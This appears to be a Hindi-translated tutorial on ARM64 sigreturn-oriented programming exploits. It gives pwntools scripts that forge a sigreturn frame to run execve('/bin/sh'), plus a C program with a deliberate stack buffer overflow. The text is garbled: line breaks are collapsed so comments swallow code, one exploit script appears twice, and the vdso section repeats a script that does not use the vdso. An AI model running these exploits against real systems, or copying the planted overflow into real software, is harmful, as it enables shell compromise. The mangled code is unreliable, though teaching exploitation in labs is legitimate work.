यह उदाहरण कमजोर बाइनरी बना रहा है और इसका शोषण कर रहा है। बाइनरी स्टैक में पढ़ता है और फिर sigreturn को कॉल करता है:
from pwn import*binsh ="/bin/sh"context.clear()context.arch ="arm64"asm =''asm +='sub sp, sp, 0x1000\n'asm += shellcraft.read(constants.STDIN_FILENO, 'sp', 1024)#Read into the stackasm += shellcraft.sigreturn()# Call sigreturnasm +='syscall: \n'#Easy symbol to use in the exploitasm += shellcraft.syscall()asm +='binsh: .asciz "%s"'% binsh #To have the "/bin/sh" string in memorybinary = ELF.from_assembly(asm)frame =SigreturnFrame()frame.x8 = constants.SYS_execveframe.x0 = binary.symbols['binsh']frame.x1 =0x00frame.x2 =0x00frame.pc = binary.symbols['syscall']p =process(binary.path)p.send(bytes(frame))p.interactive()
यह एक्सप्लॉइट bof का दुरुपयोग करता है ताकि sigreturn को कॉल पर वापस लौट सके और स्टैक को execve को /bin/sh के पॉइंटर के साथ कॉल करने के लिए तैयार कर सके।
from pwn import*p =process('./srop')elf = context.binary =ELF('./srop')libc =ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")libc.address =0x0000fffff7df0000# ASLR disabledbinsh =next(libc.search(b"/bin/sh"))stack_offset =72sigreturn =0x00000000004006e0# Call to sigsvc_call =0x00000000004006e4# svc #0x0frame =SigreturnFrame()frame.x8 =0xdd# syscall number for execveframe.x0 = binshframe.x1 =0x00# NULLframe.x2 =0x00# NULLframe.pc = svc_callpayload =b'A'* stack_offsetpayload +=p64(sigreturn)payload +=bytes(frame)p.sendline(payload)p.interactive()
bof उदाहरण बिना sigreturn
कोड
#include<stdio.h>#include<string.h>#include<unistd.h>char*vulnerable_function() {char buffer[64];read(STDIN_FILENO, buffer,0x1000); // <-- bof vulnerabilityreturn buffer;}char*gen_stack() {char use_stack[0x2000];strcpy(use_stack,"Hello, world!");char* b =vulnerable_function();return use_stack;}intmain(int argc,char**argv) {char* b =gen_stack();return0;}
Exploit
In the section vdso it's possible to find a call to sigreturn in the offset 0x7b0:
इसलिए, यदि लीक हो जाए, तो इस पते का उपयोग sigreturn तक पहुँचने के लिए किया जा सकता है यदि बाइनरी इसे लोड नहीं कर रही है:
from pwn import*p =process('./srop')elf = context.binary =ELF('./srop')libc =ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")libc.address =0x0000fffff7df0000# ASLR disabledbinsh =next(libc.search(b"/bin/sh"))stack_offset =72sigreturn =0x00000000004006e0# Call to sigsvc_call =0x00000000004006e4# svc #0x0frame =SigreturnFrame()frame.x8 =0xdd# syscall number for execveframe.x0 = binshframe.x1 =0x00# NULLframe.x2 =0x00# NULLframe.pc = svc_callpayload =b'A'* stack_offsetpayload +=p64(sigreturn)payload +=bytes(frame)p.sendline(payload)p.interactive()